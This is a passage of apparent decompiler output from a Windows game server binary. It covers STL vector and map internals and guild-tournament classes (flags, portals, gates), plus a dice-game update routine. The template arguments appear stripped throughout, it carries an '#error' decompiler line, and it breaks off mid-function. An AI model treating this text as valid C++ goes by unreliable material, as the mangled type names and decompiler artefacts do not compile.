std::vector>::_Ufill(std::vector > *this, unsigned __int16 *_Ptr, unsigned int _Count, const unsigned __int16 *_Val) { unsigned __int16 *v4; // eax@1 unsigned int v5; // ecx@2 v4 = _Ptr; if ( _Count ) { v5 = _Count; do { *v4 = *_Val; ++v4; --v5; } while ( v5 ); } return &_Ptr[_Count]; } //----- (00455BD0) -------------------------------------------------------- bool __thiscall std::less_std::allocator>>::operator__(std::less,std::allocator > > *this, std::basic_string,std::allocator > *_Left, std::basic_string,std::allocator > *_Right) { const char *v3; // eax@2 if ( _Right->_Myres < 0x10 ) v3 = (const char *)&_Right->_Bx; else v3 = *(const char **)&_Right->_Bx._Buf[0]; return std::basic_string_std::allocator>::compare( _Left, 0, _Left->_Mysize, v3, _Right->_Mysize) < 0; } //----- (00455C10) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval) { std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent; _Wherenode = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Isnil ) { v4 = _Keyval->_Mysize; v5 = (char *)&_Keyval->_Bx; v14 = _Keyval->_Myres; for ( _Keyvala = (char *)&_Keyval->_Bx; ; v5 = _Keyvala ) { if ( v14 < 0x10 ) v6 = v5; else v6 = *(const char **)v5; v7 = v3->_Myval.first._Mysize; if ( !v7 ) goto LABEL_23; v8 = v3->_Myval.first._Mysize; if ( v7 >= v4 ) v8 = v4; v9 = (const char *)(v3->_Myval.first._Myres < 0x10 ? &v3->_Myval.first._Bx : *(_DWORD *)&v3->_Myval.first._Bx._Buf[0]); v10 = strncmp(v9, v6, v8); v12 = 0; v11 = v10 < 0; if ( !v10 ) { LABEL_23: if ( v7 < v4 ) goto LABEL_17; v12 = 0; v11 = (v7 != v4) < 0; } if ( v11 ^ v12 ) { LABEL_17: v3 = v3->_Right; goto LABEL_19; } _Wherenode = v3; v3 = v3->_Left; LABEL_19: if ( v3->_Isnil ) return _Wherenode; } } return result; } //----- (00455CD0) -------------------------------------------------------- void __thiscall std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::__Node(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Myval.first._Myres >= 0x10 ) operator delete(*(void **)&this->_Myval.first._Bx._Buf[0]); v1->_Myval.first._Myres = 15; v1->_Myval.first._Mysize = 0; v1->_Myval.first._Bx._Buf[0] = 0; } //----- (00455D00) -------------------------------------------------------- std::vector >::iterator *__cdecl std::_Upper_bound>::iterator_GuildTournamentSystem::GuildMemberInfo_int_bool____cdecl____GuildTournamentSystem::GuildMemberInfo_const___GuildTournamentSystem::GuildMemberInfo_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo *_Val, bool (__cdecl *_Pred)(GuildTournamentSystem::GuildMemberInfo *, GuildTournamentSystem::GuildMemberInfo *), int *__formal) { std::vector >::iterator v6; // ebp@1 signed int v7; // edx@1 signed int v8; // ebx@1 std::vector >::iterator *v9; // eax@6 v6 = _First; v7 = (signed int)(*(_DWORD *)&_Last - *(_DWORD *)&_First + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Last - *(_DWORD *)&_First)) >> 32)) >> 4; v8 = v7 + ((unsigned int)v7 >> 31); while ( v8 > 0 ) { if ( _Pred(_Val, (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&v6 + 28 * v8 / 2)) ) { v8 /= 2; } else { *(_DWORD *)&v6 += 28 * v8 / 2 + 28; v8 += -1 - v8 / 2; } } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v9; } //----- (00455D70) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(TOURNAMENT_PLAYER_SCORE *_First, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x28u); v6 = (char *)v6 + 40; --v5; } while ( v5 ); } } //----- (00455DA0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::PortalInfo::_PortalInfo(GuildTournamentSystem::PortalInfo *this) { GuildTournamentSystem::PortalInfo *v1; // esi@1 v1 = this; if ( this->m_strNormalType._Myres >= 0x10 ) operator delete(*(void **)&this->m_strNormalType._Bx._Buf[0]); v1->m_strNormalType._Myres = 15; v1->m_strNormalType._Mysize = 0; v1->m_strNormalType._Bx._Buf[0] = 0; if ( v1->m_strBType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strBType._Bx._Buf[0]); v1->m_strBType._Myres = 15; v1->m_strBType._Mysize = 0; v1->m_strBType._Bx._Buf[0] = 0; if ( v1->m_strAType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strAType._Bx._Buf[0]); v1->m_strAType._Mysize = 0; v1->m_strAType._Myres = 15; v1->m_strAType._Bx._Buf[0] = 0; } //----- (00455E10) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this) { GuildTournamentSystem::FlagInfo *v1; // esi@1 v1 = this; this->m_strFlagAType._Myres = 15; this->m_strFlagAType._Mysize = 0; this->m_strFlagAType._Bx._Buf[0] = 0; this->m_strFlagBType._Myres = 15; this->m_strFlagBType._Mysize = 0; this->m_strFlagBType._Bx._Buf[0] = 0; this->m_strFlagNormalType._Myres = 15; this->m_strFlagNormalType._Mysize = 0; this->m_strFlagNormalType._Bx._Buf[0] = 0; TickTimer::TickTimer(&this->m_FlagScoreTimer); v1->m_PortalInfo.m_strAType._Myres = 15; v1->m_PortalInfo.m_strAType._Mysize = 0; v1->m_PortalInfo.m_strAType._Bx._Buf[0] = 0; v1->m_PortalInfo.m_strBType._Myres = 15; v1->m_PortalInfo.m_strBType._Mysize = 0; v1->m_PortalInfo.m_strBType._Bx._Buf[0] = 0; v1->m_PortalInfo.m_strNormalType._Myres = 15; v1->m_PortalInfo.m_strNormalType._Mysize = 0; v1->m_PortalInfo.m_strNormalType._Bx._Buf[0] = 0; } //----- (00455EB0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::_FlagInfo(GuildTournamentSystem::FlagInfo *this) { GuildTournamentSystem::FlagInfo *v1; // esi@1 v1 = this; GuildTournamentSystem::PortalInfo::_PortalInfo(&this->m_PortalInfo); if ( v1->m_strFlagNormalType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strFlagNormalType._Bx._Buf[0]); v1->m_strFlagNormalType._Myres = 15; v1->m_strFlagNormalType._Mysize = 0; v1->m_strFlagNormalType._Bx._Buf[0] = 0; if ( v1->m_strFlagBType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strFlagBType._Bx._Buf[0]); v1->m_strFlagBType._Myres = 15; v1->m_strFlagBType._Mysize = 0; v1->m_strFlagBType._Bx._Buf[0] = 0; if ( v1->m_strFlagAType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strFlagAType._Bx._Buf[0]); v1->m_strFlagAType._Mysize = 0; v1->m_strFlagAType._Myres = 15; v1->m_strFlagAType._Bx._Buf[0] = 0; } //----- (00455F20) -------------------------------------------------------- void __thiscall GuildTournamentSystem::Gate::_Gate(GuildTournamentSystem::Gate *this) { GuildTournamentSystem::Gate *v1; // esi@1 v1 = this; if ( this->strUseGateName._Myres >= 0x10 ) operator delete(*(void **)&this->strUseGateName._Bx._Buf[0]); v1->strUseGateName._Myres = 15; v1->strUseGateName._Mysize = 0; v1->strUseGateName._Bx._Buf[0] = 0; if ( v1->strunUseGateName._Myres >= 0x10 ) operator delete(*(void **)&v1->strunUseGateName._Bx._Buf[0]); v1->strunUseGateName._Mysize = 0; v1->strunUseGateName._Myres = 15; v1->strunUseGateName._Bx._Buf[0] = 0; } //----- (00455F70) -------------------------------------------------------- #error "455F70: undefined or illegal type '#331' (funcsize=10)" //----- (00455F90) -------------------------------------------------------- void __thiscall DiceGame::Update(DiceGame *this, int nTick) { DiceGame *v2; // esi@1 TickTimer *v3; // edi@1 void *v4; // edi@5 char *v5; // eax@7 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@7 int v7; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = &this->m_nDelayTic; if ( TickTimer::IsEnable(&this->m_nDelayTic) ) { if ( TickTimer::CheckUpdateEvent(v3, nTick) ) { DiceGame::DiceThrow(v2, v2->m_RedPlayerNumber); DiceGame::DiceThrow(v2, v2->m_BluePlayerNumber); TickTimer::Enable(v3, 0); } if ( TickTimer::CheckUpdateEvent(&v2->m_NotifyOfEndTimer, nTick) ) { v4 = (void *)ShineObjectManager::som_FindPlayer(&shineobjmanager, v2->m_RedPlayerNumber); if ( v4 || (v4 = (void *)ShineObjectManager::som_FindPlayer(&shineobjmanager, v2->m_BluePlayerNumber)) != 0 ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29910; *(_DWORD *)(v5 + 2) = 5; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v7 = 0; ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&alchat, 1); TickTimer::Enable(&v2->m_NotifyOfEndTimer, 0); v7 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } } } //----- (00456090) -------------------------------------------------------- TickTimer *__thiscall std::vector>::_Ufill(std::vector > *this, TickTimer *_Ptr, unsigned int _Count, TickTimer *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (004560C0) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::GuildMemberInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (004560F0) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::find(...) { std::basic_string,std::allocator > *v3; // edi@1 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound( this, _Keyval); _Keyvala = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Myval.first._Mysize, v5->_Myval.first._Myres < 0x10) ? (v7 = (const char *)&v5->_Myval.first._Bx) : (v7 = *(const char **)&v5->_Myval.first._Bx._Buf[0]), std::basic_string_std::allocator>::compare(v3, 0, v3->_Mysize, v7, v6) < 0) ) { v8 = result; *result = *((_DWORD *)v4 + 1); } else { v8 = result; *result = _Keyvala; } return v8; } //----- (00456160) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where) { GuildTournamentSystem::GuildMemberInfo *v3; // ebx@1 int v4; // eax@1 std::vector >::iterator v5; // edx@2 const void *v6; // esi@3 void *v7; // edi@3 std::vector >::iterator *v8; // eax@4 v3 = this->_Mylast; v4 = *(_DWORD *)&_Where + 28; if ( (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&_Where + 28) != v3 ) { v5 = _Where; do { v6 = (const void *)v4; v7 = (void *)v5; v4 += 28; *(_DWORD *)&v5 += 28; memcpy(v7, v6, 0x1Cu); } while ( (GuildTournamentSystem::GuildMemberInfo *)v4 != v3 ); } --this->_Mylast; v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v8; } //----- (004561B0) -------------------------------------------------------- TOURNAMENT_PLAYER_SCORE *__thiscall std::vector>::_Ufill(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Ptr, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (004561E0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::Gate::Gate(GuildTournamentSystem::Gate *this, GuildTournamentSystem::Gate *__that) { GuildTournamentSystem::Gate *v2; // esi@1 char *v3; // ecx@1 v2 = this; this->bIsUse = __that->bIsUse; this->hFlagNumber = __that->hFlagNumber; v3 = (char *)&this->strunUseGateName; v2->hGateNumber = __that->hGateNumber; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, &__that->strunUseGateName, 0, 0xFFFFFFFFu); v2->strUseGateName._Myres = 15; v2->strUseGateName._Mysize = 0; v2->strUseGateName._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->strUseGateName, &__that->strUseGateName, 0, 0xFFFFFFFFu); } //----- (00456270) -------------------------------------------------------- void __thiscall GuildTournamentSystem::PortalInfo::PortalInfo(GuildTournamentSystem::PortalInfo *this, GuildTournamentSystem::PortalInfo *__that) { GuildTournamentSystem::PortalInfo *v2; // esi@1 char *v3; // ecx@1 v2 = this; v3 = (char *)&this->m_strAType; v2->m_Handle = __that->m_Handle; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, &__that->m_strAType, 0, 0xFFFFFFFFu); v2->m_strBType._Myres = 15; v2->m_strBType._Mysize = 0; v2->m_strBType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strBType, &__that->m_strBType, 0, 0xFFFFFFFFu); v2->m_strNormalType._Myres = 15; v2->m_strNormalType._Mysize = 0; v2->m_strNormalType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strNormalType, &__that->m_strNormalType, 0, 0xFFFFFFFFu); } //----- (00456310) -------------------------------------------------------- void __cdecl std::_Construct(GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { if ( _Ptr ) { *(_QWORD *)&_Ptr->mapName.n3_name[0] = *(_QWORD *)&_Val->mapName.n3_name[0]; *(_DWORD *)&_Ptr->mapName.n3_name[8] = *(_DWORD *)&_Val->mapName.n3_name[8]; _Ptr->strGroupName._Myres = 15; _Ptr->strGroupName._Mysize = 0; _Ptr->strGroupName._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &_Ptr->strGroupName, &_Val->strGroupName, 0, 0xFFFFFFFFu); _Ptr->AdvanIndex = _Val->AdvanIndex; } } //----- (00456390) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00456400) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00456470) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val) { std::_Tree,std::allocator >,0> > *v5; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator >,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator >,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x1FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator>_1>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 20) = 1; *(_BYTE *)(v14 + 20) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 20) = 0; v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00456620) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this, GuildTournamentSystem::FlagInfo *__that) { GuildTournamentSystem::FlagInfo *v2; // esi@1 char *v3; // ecx@1 v2 = this; this->m_GuildNumber = __that->m_GuildNumber; this->m_ObjectNumber = __that->m_ObjectNumber; v3 = (char *)&this->m_strFlagAType; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, &__that->m_strFlagAType, 0, 0xFFFFFFFFu); v2->m_strFlagBType._Myres = 15; v2->m_strFlagBType._Mysize = 0; v2->m_strFlagBType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strFlagBType, &__that->m_strFlagBType, 0, 0xFFFFFFFFu); v2->m_strFlagNormalType._Myres = 15; v2->m_strFlagNormalType._Mysize = 0; v2->m_strFlagNormalType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strFlagNormalType, &__that->m_strFlagNormalType, 0, 0xFFFFFFFFu); v2->m_FlagScoreTimer.m_CurDelayTime = __that->m_FlagScoreTimer.m_CurDelayTime; v2->m_FlagScoreTimer.m_DelayTime = __that->m_FlagScoreTimer.m_DelayTime; *(_DWORD *)&v2->m_FlagScoreTimer.m_bEnable = *(_DWORD *)&__that->m_FlagScoreTimer.m_bEnable; GuildTournamentSystem::PortalInfo::PortalInfo(&v2->m_PortalInfo, &__that->m_PortalInfo); } //----- (004566F0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where) { std::_Tree,std::allocator >,0> > *v3; // ebp@1 std::_Tree,std::allocator >,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator >,0> >::iterator v5; // edi@5 std::_Tree,std::allocator >,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator >,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator >,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator >,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator >,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator >,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 21) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator>_1>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 21) ) { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v10 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator>_1>>::_Min(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v11->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator>_1>>::_Max(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 21) ) { v5 = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 20); *(_BYTE *)(*(_DWORD *)&v6 + 20) = *(_BYTE *)(*(_DWORD *)&v4 + 20); *(_BYTE *)(*(_DWORD *)&v4 + 20) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 20) == 1 ) { if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 20) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; *(_BYTE *)(v15 + 20) = 